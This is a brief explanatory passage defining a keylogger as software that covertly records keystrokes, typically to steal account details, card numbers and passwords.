A Keylogger (short for keystroke logger) is software that tracks or logs the keys struck on your keyboard, 
typically in a covertmannerso that you don’t know that your actions are being monitored. 
This is usually done with malicious intent to collect your account information, credit card numbers,
user names, passwords, and other private data.
